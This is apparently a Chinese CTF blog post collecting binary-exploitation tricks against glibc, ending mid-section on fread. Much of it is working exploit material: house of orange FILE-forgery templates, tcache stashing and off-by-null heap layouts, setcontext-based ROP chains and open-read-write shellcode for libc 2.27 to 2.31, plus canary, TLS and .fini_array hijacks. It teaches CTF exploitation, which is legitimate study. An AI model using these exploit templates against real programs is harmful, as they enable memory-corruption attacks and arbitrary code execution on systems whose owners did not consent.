pwntrick


记录一下pwn的一些小技巧以及一些利用方式,想到哪个写哪个吧。

0x1.stack smashing detected的利用

stack smash技术的利用基础就是栈溢出导致canary被覆盖之后的报错流程

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
            msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

报错流程会打印出__libc_argv[0]的值,这个值是我们执行的文件的文件名,只需要找到文件名在栈中的位置然后通过溢出将其复改为我们想要泄露的值的地址即可。

ps:这个技术的利用场景通常是能够多次执行程序的情况下且溢出量要足够大。

0x2.environ环境指针

在 Linux 系统中,glibc 的环境指针 environ(environment pointer) 为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址

rzHm3q.png

environ地址的计算方法为libc_base+libc.symbols['_environ']

0x3.TLS结构体利用

canary除了存在于栈上还会存在于TLS结构体中,TLS结构体如下

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;        /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

其中stack_guard就是canary,可以通过超长栈溢出覆写tls结构体来绕过canary

如果是多线程程序,那么从TLS到pthread_create的函数参数传递栈帧的距离小于一页,这种情况可以直接通过超长栈溢出来修改canary。

rzztGF.png

如果不是多线程的话,则需要能够通过mmap分配到tls结构体附近,因为tls结构体是通过mmap分配的。malloc函数在分配大内存时就会使用mmap进行分配,如果能够用mmap分配过去并且能够溢出到tls结构体就可以修改canary。

0x4.vsyscall作为滑板指令

vsyscall可以作为滑板指令,也就是相当于一个ret,使rop链向下滑动。当程序开启了pie后且没有libc地址,无法使用gadget时就可以使用这条指令作为ret来使程序流向下滑动,然后再进行partial overwrite覆盖返回地址为onegadget或别的。

sSpNu9.png

通常使用0xffffffffff600000这个地址。

0x5.glibc2.29及更高版本的uaf

高版本下glibc引入了stash机制,就是当从fastbin中取完hunk后,会将这条链上剩下的bin放到对应大小的tcache中。

在glibc2.29以及更高版本的glibc中,如果存在uaf但无法修改tcache的key值,先将tcache填满,然后在fastbin中进行double free,借着再从tcache中取chunk,使tcache为空或者不满,然后再从fastbin里取chunk,fastbin中剩余的chunk会被放入tcache中,而tcache不检查size,可以任意分配,这样能方便利用。

这个技巧能够将任意地址写一个固定的值,也就是smallbin的表头

只记录下构造方法,实现原理不再赘述

前提需要能绕过tcache取chunk,也就是需要calloc函数

1.tcache中放6个,smallbin中放两个

2.将后进smallbinchunkbk(不破坏fd指针的情况下)修改为目标地址-0x10

3.从smallbin中取一个chunk,先进入smallbin的chunk被分配给用户,后进入的chunk由于stash机制被放入tcache

由于bck = tc_victim->bk,bck即为目标地址-0x10,bck->fd = bin,最终目标地址被写入了smallbin表头的地址。

这个技巧能够往任意地址处分配一个chunk

1.tcache中放5个,smallbin中放两个

2.将后进smallbinchunkbk(不破坏fd指针的情况下)修改为目标地址-0x10,同时将目标地址+0x8处的值设置为一个指向可写内存的指针。

3.从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。

这个技巧能够同时实现任意地址分配chunk和任意地址写两个目标。

1.tcache中放5个,smallbin中放两个

2.将后进smallbinchunkbk(不破坏fd指针的情况下)修改为目标地址1-0x10,将目标地址 1 + 0x8 的位置设置为目标地址 2 -0x10.

3.从smallbin中取一个chunk,即可实现两个目标。

0x9.一个控制程序流的gadget

在libc2.31中有这样一个gadget

0x0000000000157fea: 
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18]; 
lea r13, [rbp + 0x10]; 
mov dword ptr [rbp + 0x10], 0; 
mov rdi, r13; 
call qword ptr [rax + 0x28];

如果我们可以控制rdi,那么就能够进行一个任意call。

一般用于堆题的orw

同样的,在其他版本的libc中也存在着类似的gadget,只不过细节不一样,但都能达成call的作用

0xA.格式化字符串写入注意

如果要一次性修改malloc_hook或者free_hook并且发送大量字符触发onegadget的话,一定要注意,%99999c不能放在payload的最后,因为如果把%99999c放在地址后面,地址存在空字符,那样往printf的缓冲区内写数据时就会截断!%99999c就无法写入,自然也无法触发malloc_hook!

0xB.house of orange

1.需要libc地址和heap地址,还需要能够溢出。一种情况是修改unsorted bin的大小为0x61,修改其bk指针为&io_list_all-0x10,设置好fp->flag='/bin/sh\x00',fp->_mode <= 0fp->_IO_write_ptr > fp->_IO_write_base,注意偏移,vtable指针设置为某个我们能控制的内存,再将这片伪造的vtable空间的0x18偏移处设置为system函数的地址,如下图所示

s9Gbp6.png

构造模板为

fake_file = IO_FILE_plus()#创建一个IO_FILE对象
fake_file._flags = u64('/bin/sh\x00')#设置_flag为binsh,_flag的位置为unsorted bin的presize
fake_file._IO_read_ptr = 0x61#修改unsorted bin的size为0x61
fake_file._IO_read_base=_IO_list_all-0x10#修改unsorted bin的bk指针为_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1#满足_IO_write_ptr > _IO_write_ptr
fake_file._mode=0#满足_mode<=0
fake_file.vtable=heap_base+0x4f0+fake_file.size#设置vtable指向fake_file下方
pay += str(fake_file)
pay += p64(0)*3  # vtable,_IO_OVERFLOW在_IO_jump_t中的偏移为0x18
pay += p64(system)  # 设置_IO_OVERFLOW为system,

上面的方法只适用于libc2.23及更低版本libc,libc2.24对vtable的位置进行了检查,所以不能随意伪造vtable了。

我们使用_IO_str_jumps这个vtable来伪造我们的vtable

结构如下

pwndbg> p _IO_str_jumps 
$19 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a906b0 <_IO_str_finish>, 
  __overflow = 0x7ffff7a90310 <__GI__IO_str_overflow>, 
  __underflow = 0x7ffff7a902b0 <__GI__IO_str_underflow>, 
  __uflow = 0x7ffff7a8e900 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a90690 <__GI__IO_str_pbackfail>, 
  __xsputn = 0x7ffff7a8e960 <__GI__IO_default_xsputn>, 
  __xsgetn = 0x7ffff7a8eaf0 <__GI__IO_default_xsgetn>, 
  __seekoff = 0x7ffff7a907e0 <__GI__IO_str_seekoff>, 
  __seekpos = 0x7ffff7a8eea0 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a8ed70 <_IO_default_setbuf>, 
  __sync = 0x7ffff7a8f120 <_IO_default_sync>, 
  __doallocate = 0x7ffff7a8ef10 <__GI__IO_default_doallocate>, 
  __read = 0x7ffff7a90160 <_IO_default_read>, 
  __write = 0x7ffff7a90170 <_IO_default_write>, 
  __seek = 0x7ffff7a90140 <_IO_default_seek>, 
  __close = 0x7ffff7a8f120 <_IO_default_sync>, 
  __stat = 0x7ffff7a90150 <_IO_default_stat>, 
  __showmanyc = 0x7ffff7a90180 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a90190 <_IO_default_imbue>
}

伪造的FILE结构体需要满足如下条件

fp->_flags&1==0
fp->_mode <= 0 
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system

构造模板为

fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1
fake_file._mode=0
fake_file.vtable=_IO_str_jumps-8
pay += str(fake_file).ljust(0xe8,'\x00')+p64(system)

附上IO_FILE结构体的偏移量

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

以及veritas501师傅写的IO_FILE结构体伪造模块

from pwn import *


_IO_FILE_plus_size = {
    'i386':0x98,
    'amd64':0xe0
}
_IO_FILE_plus = {
    'i386':{
        0x0:'_flags',
        0x4:'_IO_read_ptr',
        0x8:'_IO_read_end',
        0xc:'_IO_read_base',
        0x10:'_IO_write_base',
        0x14:'_IO_write_ptr',
        0x18:'_IO_write_end',
        0x1c:'_IO_buf_base',
        0x20:'_IO_buf_end',
        0x24:'_IO_save_base',
        0x28:'_IO_backup_base',
        0x2c:'_IO_save_end',
        0x30:'_markers',
        0x34:'_chain',
        0x38:'_fileno',
        0x3c:'_flags2',
        0x40:'_old_offset',
        0x44:'_cur_column',
        0x46:'_vtable_offset',
        0x47:'_shortbuf',
        0x48:'_lock',
        0x4c:'_offset',
        0x54:'_codecvt',
        0x58:'_wide_data',
        0x5c:'_freeres_list',
        0x60:'_freeres_buf',
        0x64:'__pad5',
        0x68:'_mode',
        0x6c:'_unused2',
        0x94:'vtable'
    },

    'amd64':{
        0x0:'_flags',
        0x8:'_IO_read_ptr',
        0x10:'_IO_read_end',
        0x18:'_IO_read_base',
        0x20:'_IO_write_base',
        0x28:'_IO_write_ptr',
        0x30:'_IO_write_end',
        0x38:'_IO_buf_base',
        0x40:'_IO_buf_end',
        0x48:'_IO_save_base',
        0x50:'_IO_backup_base',
        0x58:'_IO_save_end',
        0x60:'_markers',
        0x68:'_chain',
        0x70:'_fileno',
        0x74:'_flags2',
        0x78:'_old_offset',
        0x80:'_cur_column',
        0x82:'_vtable_offset',
        0x83:'_shortbuf',
        0x88:'_lock',
        0x90:'_offset',
        0x98:'_codecvt',
        0xa0:'_wide_data',
        0xa8:'_freeres_list',
        0xb0:'_freeres_buf',
        0xb8:'__pad5',
        0xc0:'_mode',
        0xc4:'_unused2',
        0xd8:'vtable'
    }
}


class IO_FILE_plus_struct(dict):
    arch = None
    endian = None
    fake_file = None
    size  = 0
    FILE_struct = []


    @LocalContext
    def __init__(self):
        self.arch = context.arch
        self.endian = context.endian

        if self.arch != 'i386' and self.arch != 'amd64':
            log.error('architecture not supported!')
        success('arch: '+str(self.arch))

        self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i  in sorted(_IO_FILE_plus[self.arch].keys())]
        print self.FILE_struct
        self.update({r:0 for r in self.FILE_struct})
        self.size = _IO_FILE_plus_size[self.arch]


    def __setitem__(self, item, value):
        if item not in self.FILE_struct:
            log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))
        super(IO_FILE_plus_struct, self).__setitem__(item, value)

    def __setattr__(self, attr, value):
        if attr in IO_FILE_plus_struct.__dict__:
            super(IO_FILE_plus_struct, self).__setattr__(attr, value)
        else:
            self[attr]=value

    def __getattr__(self, attr):
        return self[attr]

    def __str__(self):
        fake_file = ""
        with context.local(arch=self.arch):
            for item_offset in sorted(self.item_offset):
                if len(fake_file) < item_offset:
                    fake_file += "\x00"*(item_offset - len(fake_file))
                fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')
            fake_file += "\x00"*(self.size - len(fake_file))
        return fake_file

    @property
    def item_offset(self):
        return _IO_FILE_plus[self.arch].keys()

0xC.shellcode编写能力

最常见的也就是orw的编写,题目开启了沙箱,禁止execve系统调用,因此需要通过open-read-write这三步来读出flag

shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)

这是用pwntools的shellcraft模块生成的

或者是直接手撸汇编

shellcode = asm('''
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall /*open("flag",0)*/
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall /*read(rax,rsp,0x100)*/
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall /*write(1,rsp,0x100)*/
    ''')

不过一般情况下能用rop链代替的我都用rop链来

盲注不仅存在于web的sql注入中,在pwn中也一样存在(不过应该只是在ctf中,但考察的是选手的汇编语言能力)。

比如蓝帽杯线下的slient,需要将flag一位一位比较出来。

不过我的汇编基础不够扎实,shellcode题目向来都很头大,难受。

0xD.glibc线程

在glibc中,线程有自己的arena,但是arena的个数是有限的,一般跟处理器核心个数有关,假如线程个数超过arena总个数,并且执行线程都在使用,那么该怎么办呢。Glibc会遍历所有的arena,首先是从主线程的main_arena开始,尝试lock该arena,如果成功lock,那么就把这个arena给线程使用。

我们通常使用的是main_arena这个线程管理的堆

0xE.ORW

在堆漏洞的题目中,为了增加题目难度会禁用execve系统调用,orw就将登场

无论是2.27,2.29,2.30还是2.31的libc,为了能够执行orw都使用了一个setcontext函数,可以看到这个函数能够设置绝大多数寄存器

:     push   rdi
:   lea    rsi,[rdi+0x128]
:   xor    edx,edx
:  mov    edi,0x2
:  mov    r10d,0x8
:  mov    eax,0xe
:  syscall 
:  pop    rdi
:  cmp    rax,0xfffffffffffff001
:  jae    0x7ffff7a7d520 
:  mov    rcx,QWORD PTR [rdi+0xe0]
:  fldenv [rcx]
:  ldmxcsr DWORD PTR [rdi+0x1c0]
:  mov    rsp,QWORD PTR [rdi+0xa0]
:  mov    rbx,QWORD PTR [rdi+0x80]
:  mov    rbp,QWORD PTR [rdi+0x78]
:  mov    r12,QWORD PTR [rdi+0x48]
:  mov    r13,QWORD PTR [rdi+0x50]
:  mov    r14,QWORD PTR [rdi+0x58]
:  mov    r15,QWORD PTR [rdi+0x60]
:  mov    rcx,QWORD PTR [rdi+0xa8]
:  push   rcx
:  mov    rsi,QWORD PTR [rdi+0x70]
:  mov    rdx,QWORD PTR [rdi+0x88]
: mov    rcx,QWORD PTR [rdi+0x98]
: mov    r8,QWORD PTR [rdi+0x28]
: mov    r9,QWORD PTR [rdi+0x30]
: mov    rdi,QWORD PTR [rdi+0x68]
: xor    eax,eax
: ret    
: mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
: neg    eax
: mov    DWORD PTR fs:[rcx],eax
: or     rax,0xffffffffffffffff
: ret

而我们并不是从头到尾地使用setcontext函数,而是从setcontext+53开始调用,这是因为在setcontext+44处地指令fldenv [rcx]会使程序crash

首先来说明2.27的libc下orw的构造

:  mov    rcx,QWORD PTR [rdi+0xa8]
:  push   rcx

从这两条指令可以看出,从[rdi+0xa8]弹到rcx的值将会是rip

setcontext的利用分两种,一种需要libc地址和heap地址,另一种只需要libc地址,先说只要libc地址的

构造模板如下

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
利用double free或者overlap将free_hook修改为setcontext+53
add(0x18,p64(free_hook))
add(0x18,p64(setcontext))
接着伪造栈空间
frame = SigreturnFrame()
frame.rax=0          #调用read
frame.rdi=0          #参数1     
frame.rsi=free_hook&0xfffffffffffff000    #参数2 往free_hook&0xfffffffffffff000写
frame.rdx=0x2000                          #参数3 写入0x2000字节
frame.rsp=free_hook&0xfffffffffffff000    #执行完read调用后跳转到free_hook&0xfffffffffffff000
frame.rip=syscall                         #rip,执行系统调用
payload=str(frame)
将payload写入到某个chunk中,假设这个chunk序号为8
add(0x100,payload)
然后free掉这个chunk触发setcontext
free(8)
接着我们就能往free_hook&0xfffffffffffff00写入shellcode
payload = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
/*open('flag',0)*/
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed
/*read(3,rsp,0x100)*/
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
/*write(1,rsp,0x100)*/
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
shellcode就是先通过mprotect将free_hook & 0xfffffffffffff000附近0x2000的空间设置为可执行,然后进行orw读取flag

另一种需要堆地址的orw的构造模板如下

free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
利用double free或者overlap将free_hook修改为setcontext+53
add(0x18,p64(free_hook))
add(0x18,p64(setcontext))
将堆的某个地址设置为setcontext执行完后要跳转过来的rsp,在上面布置好ROP链,因为rop执行的是text段的代码,所以不需要mprotect修改权限
payload = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp  rip
payload = payload.ljust(0xb0, '\x00')
payload += './flag\x00\x00'
payload += p64(0)
payload += p64(pop_rdi_ret) + p64(flag)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(libc_base+libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
payload += p64(libc_base + libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
payload += p64(libc_base + libc.sym['write'])
add(0x400, payload)#10
free(10)

再说2.29的orw

2.29的setcontext如下

0x7ffff7e36e00 :    push   rdi
0x7ffff7e36e01 :    lea    rsi,[rdi+0x128]
0x7ffff7e36e08 :    xor    edx,edx
0x7ffff7e36e0a :    mov    edi,0x2
0x7ffff7e36e0f :    mov    r10d,0x8
0x7ffff7e36e15 :    mov    eax,0xe
0x7ffff7e36e1a :    syscall 
0x7ffff7e36e1c :    pop    rdx
0x7ffff7e36e1d :    cmp    rax,0xfffffffffffff001
0x7ffff7e36e23 :    jae    0x7ffff7e36e80 
0x7ffff7e36e25 :    mov    rcx,QWORD PTR [rdx+0xe0]
0x7ffff7e36e2c :    fldenv [rcx]
0x7ffff7e36e2e :    ldmxcsr DWORD PTR [rdx+0x1c0]
0x7ffff7e36e35 :    mov    rsp,QWORD PTR [rdx+0xa0]
0x7ffff7e36e3c :    mov    rbx,QWORD PTR [rdx+0x80]
0x7ffff7e36e43 :    mov    rbp,QWORD PTR [rdx+0x78]
0x7ffff7e36e47 :    mov    r12,QWORD PTR [rdx+0x48]
0x7ffff7e36e4b :    mov    r13,QWORD PTR [rdx+0x50]
0x7ffff7e36e4f :    mov    r14,QWORD PTR [rdx+0x58]
0x7ffff7e36e53 :    mov    r15,QWORD PTR [rdx+0x60]
0x7ffff7e36e57 :    mov    rcx,QWORD PTR [rdx+0xa8]
0x7ffff7e36e5e :    push   rcx
0x7ffff7e36e5f :    mov    rsi,QWORD PTR [rdx+0x70]
0x7ffff7e36e63 :    mov    rdi,QWORD PTR [rdx+0x68]
0x7ffff7e36e67 :    mov    rcx,QWORD PTR [rdx+0x98]
0x7ffff7e36e6e :    mov    r8,QWORD PTR [rdx+0x28]
0x7ffff7e36e72 :    mov    r9,QWORD PTR [rdx+0x30]
0x7ffff7e36e76 :    mov    rdx,QWORD PTR [rdx+0x88]
0x7ffff7e36e7d :    xor    eax,eax
0x7ffff7e36e7f :    ret    
0x7ffff7e36e80 :    mov    rcx,QWORD PTR [rip+0x18dfe9]        # 0x7ffff7fc4e70
0x7ffff7e36e87 :    neg    eax
0x7ffff7e36e89 :    mov    DWORD PTR fs:[rcx],eax
0x7ffff7e36e8c :    or     rax,0xffffffffffffffff
0x7ffff7e36e90 :    ret    

libc2.29下的setcontext和2.27的区别在于setcontext+53处的代码是将rdx+0xa0处的值赋给了rsp,而不是rdi,因此我们需要一个gadget来操纵rdx

在libc2.29中有这样一条gadget

0x000000000012be97: 
mov rdx, qword ptr [rdi + 8]; 
mov rax, qword ptr [rdi]; 
mov rdi, rdx; 
jmp rax;

当我们free某个chunk时,rdi即为这个chunk的地址,我们将[rdi+8]设置为伪造的rsp的地址,在其中布置好各个寄存器的参数以及orw的rop链;将[rdi]设置为setcontext+0x1d的地址。

模板如下

add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))
frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)

str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]

layout = [
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    2,
    # sys_open("./flag", 0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    3, # maybe it is 2
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    0,
    # sys_read(flag_fd, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    1,
    libc_base + 0x0000000000026f9e, #: pop rsi; ret; 
    heap_addr + 0x10000,
    libc_base + 0x000000000012bda6, #: pop rdx; ret; 
    0x100,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    1,
    # sys_write(1, heap, 0x100)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 

    libc_base + 0x0000000000026542, #: pop rdi; ret; 
    0,
    libc_base + 0x0000000000047cf8, #: pop rax; ret; 
    231,
    # exit(0)
    libc_base + 0x00000000000cf6c5, #: syscall; ret; 
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)

最后是libc2.31的orw

由于2.29出题麻烦,所以目前大部分都是2.31的题目

2.31的setcontext和2.29一样,只是用来操纵rdx的gadget有所区别

如下

0x0000000000154930: 
mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

也就是在rdi+8的位置处放frame的地址,在frame+0x20处放setcontext的地址

模板如下

edit(27, p64(gadget))
edit(23, './flag\x00\x00')

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)
#setcontext = libc_base + libc.sym['setcontext'] + 61
p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])

p = p64(0) + p64(frame_addr)

p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)

edit(11, p)
free(11)
sl(p2)

0xF.off-by-null

1.shrink the chunk

add(0x18,'a') #1
add(0x1e0,'a')#2
add(0x80,'a')#3
dele(2)#chunk2进入unsortedbin,chunk3的prvesize为0x1f0
dele(1)
add(0x18,'a'*0x18)#1 off-by-null,chunk2的size变为0x100,chunk3的size依然为0x1f0
add(0x80,'a')#2从unsortedbin切割
add(0x68,'a')#4从unsortedbin切割
dele(2)
dele(3)#chunk3根据prevsize找到chunk1,chunk1为free状态,触发合并,于是chunk4处于复用状态

以上是2.23的利用方法,如果是2.27的版本则需要将tcache填满

注意,可能需要伪造chunk来绕过检查

2.普通的off-by-null

add(0xf8,'a')#1
add(0xf8,'a')#2
add(0xf8,'a')#3
add(0x18,'a')#4
dele(2)
add(0xf8,'a'*0xf0+p64(0x200))#2 off-by-null chunk3,chunk3的size的isuse位被置0,prevsize被设置为chunk1+chunk2
dele(1)
dele(3)#chunk3被free,根据prevsize找到chunk1,chunk1被free,触发合并,chunk2处于复用状态

3.以上两种方法只适用于2.23及2.27,2.29及以上版本增加了检查,直接修改size和prvesize不再适用,需要借用largebin的残留指针来操作。

借用一张图

slP3j0.png

构造模板如下

for i in range(7):
    add(0x28,'chunk_' + str(64+i) + 'n') #用于填充tcache

add(0x5a8,'pad') #使堆地址对齐
add(0x5e0,'chunk_72' + 'n') #largebin
add(0x18,'chunk_73' + 'n') #防止largebin被topchunk合并
delete(72) #dele掉0x5e0的chunk,进入unsortedbin
add(0x618,'chunk_72' + 'n') #申请一个大于0x5e0的chunk,使其进入largebin,堆上留下了残留指针

add(0x28,'a'*8+p64(0xe1)+p8(0x90)) #chunk0 从largebin切割,在其中伪造一个0xe1的chunk,将fakechunk的fd指向chunk3
add(0x28,'chunk_75' + 'n') #chunk1
add(0x28,'chunk_76' + 'n') #chunk2
add(0x28,'chunk_77' + 'n') #chunk3
add(0x28,'chunk_78' + 'n') #chunk4 剩下0x500的unsortedbin
for i in range(7):
    delete(64+i) #将tcache填满
delete(75) #free chunk1 进入fastbin
delete(77) #free chunk3 ,使chunk3的fd指针上留下堆指针

for i in range(7):
    add(0x28,'chunk_'+str(64+i)+'n') #将tcache清空
add(0x618,'chunk_75' + 'n') #将unsortedbin放入largebin
add(0x28,'b'*8+p8(0x10)) #使chunk3的bk指针指向chunk0
add(0x28,'chunk_1')
for i in range(7): #将tcache填满
    delete(64+i)
delete(78) #free chunk4
delete(74) #free chunk0 使chunk0的fd上留下堆指针
for i in range(7):
    add(0x28,'chunk_'+str(64+i)+'n') #将tcache清空
add(0x28,p8(0x10)) #将chunk0的fd指针指向fakechunk
add(0x28,'a'*0x20+p64(0xe0)) #伪造chunk5的presize为fakechunk的size,并off-by-null,置chunk5的inuse位为0
add(0x4f8,'a') #将chunk5申请回来
delete(80) #将chunk5 free,触发合并

由于我们需要堆地址为0x????????????0???,即倒数第四位为0,所以概率为1/16

构造完成后就是下面的情况

slFBm6.png

0x10.main_arena打击

堆题目中可以尝试劫持main_arena

分情况,如果能分配0x68的chunk的话,就可以直接往main_arena上错位分配,找个0x7f地址开头的,就可以申请过去了,接着修改main_arena+88处的值,这里是存放topchunk地址的位置,我们可以将其修改为malloc_hook上方一点的位置,接着继续申请chunk就能分配到malloc_hook了;如果要劫持free_hook的话要麻烦些,需要把main_arena劫持到free_hook上方一段距离,然后一直申请chunk才能分配到free_hook;如果分配不了0x68的chunk,但可以分配0x40的chunk,可以伪造一个大一点的chunk,如0x70的,再将其free掉,然后在main_arena中就会记录下这个0x70的chunk的地址,堆地址开头可能为0x55或者0x56,如果为0x56的话,我们再进行错位申请就可以申请到main_arena去,接着修改main_arena+88的值即可。

0x11. .fini_array劫持

Linux下c程序的运行顺序如下

_start--->__libc_start_main_--->init--->main--->fini

ypVBxU.png

init会执行.init_array数组内的函数,fini会执行.fini_array数组内的函数,在IDA内按ctrl+s可以看到这两个数组的地址

ypZySf.png

程序运行流程更加细化如下所示

_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->...--->.init_array[n]--->main--->fini--->.fini_array[n]--->.fini_array[n-1]--->...--->.fini_array[0]

.init_array内的函数顺序执行,.fini_array内的函数逆序执行

将.fini_array[1]修改为main函数的地址,将.fini_array[0]修改为fini函数的地址,就可以无限循环了,流程如下

_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->main--->fini--->.fini_array[1](main)--->.fini_array[0](fini)

0x12.IO_FILE结构体攻击

接上面的house of orange

FILE结构体中有几个重要的指针

_IO_buf_base:输入输出缓冲区基地址
_IO_buf_end:输入输出缓冲区结束地址
_IO_write_base:输出缓冲区基地址
_IO_write_ptr:输出缓冲区已使用的地址
_IO_write_end:输出缓冲区结束地址
_IO_read_ptr:输入缓冲区的起始地址
_IO_read_end:输入缓冲区的结束地址

引用raycp大佬的解释

其中_IO_buf_base_IO_buf_end是缓冲区建立函数_IO_doallocbuf(上一篇详细描述过)会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr表示为已经使用的地址。即_IO_write_base_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr_IO_write_end之间为剩余的输出缓冲区。

还需要介绍几个函数(以下引用ctfwiki上的介绍)

1.fread

fread 是标准 IO 库函数,作用是从文件流中读数据,函数原型如下

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;

